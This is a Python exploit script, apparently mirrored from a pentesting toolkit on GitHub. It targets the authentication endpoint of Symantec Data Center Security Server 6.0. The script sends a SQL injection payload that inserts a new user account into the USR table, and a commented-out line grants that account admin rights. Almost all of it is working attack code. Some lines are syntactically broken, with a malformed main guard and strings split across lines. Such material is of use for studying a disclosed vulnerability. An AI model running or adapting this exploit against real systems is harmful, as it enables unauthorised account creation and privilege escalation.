mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-04-27 11:09:09 -04:00
43 lines
2.0 KiB
Python
43 lines
2.0 KiB
Python
#!/usr/bin/env python
|
|
# Reference: http://seclists.org/fulldisclosure/2015/Jan/91
|
|
|
|
|
|
import httplib
|
|
def send_request(host,data):
|
|
params = data
|
|
headers = {"AppFire-Format-Version": "1.0",
|
|
"AppFire-Charset": "UTF-16LE",
|
|
"Content-Type":"application/x-appfire",
|
|
"User-Agent":"Java/1.7.0_45",
|
|
}
|
|
conn = httplib.HTTPSConnection(host)
|
|
conn.request("POST", "/sis-ui/authenticate", params, headers)
|
|
response = conn.getresponse()
|
|
data=response.read()
|
|
conn.close()
|
|
return response,data
|
|
|
|
if __name__ = '__main__'
|
|
header ="Data-Format=text/plain\nData-Type=properties\nData-Length=%i\n\n"
|
|
data ="ai=2\r\nha=example.com\r\nun=AAAAAAAAAAAAAA'; INSERT INTO USR (RID, USERNAME,
|
|
PWD, CONTACT_NAME, PHONES, EMAIL, ALERT_EMAIL, ADDRESS, MANAGER_NAME, BUSINESS_INFO,
|
|
PREF_LANGUAGE, FLAGS, DESCR, CREATETIME, MODTIME, ENABLED, BUILTIN, HIDDEN, SALT)
|
|
VALUES (1504, 'secconsult', 'DUjDkNZgv9ys9/Sj/FQwYmP29JBtGy6ZvuZn2kAZxXc=', '', '',
|
|
'', '', '', '', '', '', NULL, 'SV DESCRIPTION', '2014-09-12 07:13:09', '2014-09-12
|
|
07:13:23', '1', '0', '0',
|
|
'N1DSNcDdDb89eCIURLriEO2L/RwZXlRuWxyQ5pyGR/tfWt8wIrhSOipth8Fd/KWdsGierOx809rICjqrhiNqPGYTFyZ1Kuq32sNKcH4wxx+AGAUaWCtdII7ZXjOQafDaObASud25867mmEuxIa03cezJ0GC3AnwVNOErhqwTtto=');
|
|
-- '' " # add user to USR table
|
|
#data ="ai=2\r\nha=example.com\r\nun=AAAAAAAAAAAAAA'; INSERT INTO ROLEMAP (USERRID,
|
|
ROLERID) VALUES (1504, 1); -- " # add user to admin group
|
|
data+="\r\nan=Symantec Data Center Security Server
|
|
6.0\r\npwd=GBgYGBgYGBgYGBgYGBgYGBg=\r\nav=6.0.0.380\r\nhn=WIN-3EJQK7U0S3R\r\nsso=\r\n"
|
|
data = data.encode('utf-16le')
|
|
|
|
eof_flag="\nEOF_FLAG\n"
|
|
header = header %(len(data))
|
|
payload=header+data+eof_flag
|
|
|
|
response,data = send_request("<host>:4443",payload)
|
|
|
|
print data.decode('utf-16le')
|
|
print response.status |